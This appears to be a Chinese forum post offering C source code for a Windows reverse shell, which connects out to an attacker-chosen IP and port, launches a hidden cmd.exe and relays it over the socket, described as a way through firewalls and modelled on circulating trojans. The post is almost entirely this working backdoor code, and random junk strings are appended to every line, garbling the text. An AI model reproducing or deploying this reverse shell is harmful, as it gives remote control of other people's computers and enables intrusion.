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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9NzK1V0X  
N!me:|Dn  
/* ============================== wwmHr!b:6  
Rebound port in Windows NT X~+AaI :~K  
By wind,2006/7 xwvg @  
===============================*/ )\K;Ncp[  
#include Tx)!qpZ  
#include QEtf-xNn^  
\<n 9kwU  
#pragma comment(lib,"wsock32.lib") <=O/_Iu(  
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void OutputShell(); MX*T.TG8  
SOCKET sClient; NWL\"xp `t  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4 H 4W  
F"I{_yleq'  
void main(int argc,char **argv) ^ &UezDTS  
{ \Dn47V{7-  
WSADATA stWsaData; Q5K<ECoPk  
int nRet; /xS4>@hn  
SOCKADDR_IN stSaiClient,stSaiServer; MZPXI{G  
?so=k&I-M  
if(argc != 3) l  rRRRR  
{ g<b(q|  
printf("Useage:\n\rRebound DestIP DestPort\n"); [-Xz:  
return; _Fc :<Ym?  
} =@ SJyW  
8)KA {gN}  
WSAStartup(MAKEWORD(2,2),&stWsaData); $RAS pM  
$nf5bo/;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g#W/WKvM  
XEX ."y  
stSaiClient.sin_family = AF_INET; (v/mKGyg  
stSaiClient.sin_port = htons(0); &Hl*Eg f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yW@0Q:  
N*mm[F2+F  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O4c[,Uq8~  
{ 85{2TXQ^%=  
printf("Bind Socket Failed!\n"); Nd;)V  
return; \+9~\eeXb  
} Ire+r "am  
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stSaiServer.sin_family = AF_INET; Bm e_#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?v5OUmFM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OCX>LK!K  
J`I^F:y*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \Ei(HmEU  
{ LvM;ZfAEv  
printf("Connect Error!"); k'6Poz+<  
return; b '9L}q2m  
} 9e aqq  
OutputShell(); n "J+? ~9  
} !EwL"4pPw  
:Qc[>:N  
void OutputShell() @3aI7U/I  
{ NP+*L|-;  
char szBuff[1024]; C<G`wXlP|  
SECURITY_ATTRIBUTES stSecurityAttributes;  <u=k X  
OSVERSIONINFO stOsversionInfo; XT "-   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LK>J]p  
STARTUPINFO stStartupInfo; u*h+ c8|zI  
char *szShell; {e/6iSpT  
PROCESS_INFORMATION stProcessInformation; HxE`"/~.7k  
unsigned long lBytesRead; i!nPiac  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g %e"KnU  
5eL_iNqJM  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Qnr7Qnb  
stSecurityAttributes.lpSecurityDescriptor = 0; VX'cFqrK3  
stSecurityAttributes.bInheritHandle = TRUE; R3dt-v  
asj*/eC$/i  
>}I BPC  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ho^rYz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fv!KLw@  
USDqh437  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o6b\ w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  f3E%0cg  
stStartupInfo.wShowWindow = SW_HIDE; o$XJSz|6  
stStartupInfo.hStdInput = hReadPipe; f7du1k3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jI%g!  
Q($.s=&l;  
GetVersionEx(&stOsversionInfo); Qzh`x-S  
;ND)h pD+  
switch(stOsversionInfo.dwPlatformId) w(6(Fze  
{ O_~vl m<#  
case 1: C)H1<Br7  
szShell = "command.com"; +\D?H.P  
break; $LXz Q>w9  
default: BIK^<_?+ZU  
szShell = "cmd.exe"; ;zpSyyp@  
break; lk[BS*  
} S!JwF&EW  
QE\t}>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $Y3mO ~  
O9/7?"l"  
send(sClient,szMsg,77,0); ]ysEj3  
while(1) ,x]xtg?  
{ wMx# dP4W8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oBpoZ @[Z  
if(lBytesRead) I `I+7~t  
{ $TK<~3`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %9HL "  
send(sClient,szBuff,lBytesRead,0); ?E2$  
} F?jFFw im  
else QVq+';cG  
{ c&]nAn(  
lBytesRead=recv(sClient,szBuff,1024,0); }z|@X KA#  
if(lBytesRead<=0) break; 49Y_ze6L}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !J/fJW>m6  
} i^I U)\   
} (imaL,M-D  
R{0nk   
return; m,1Hlp  
}
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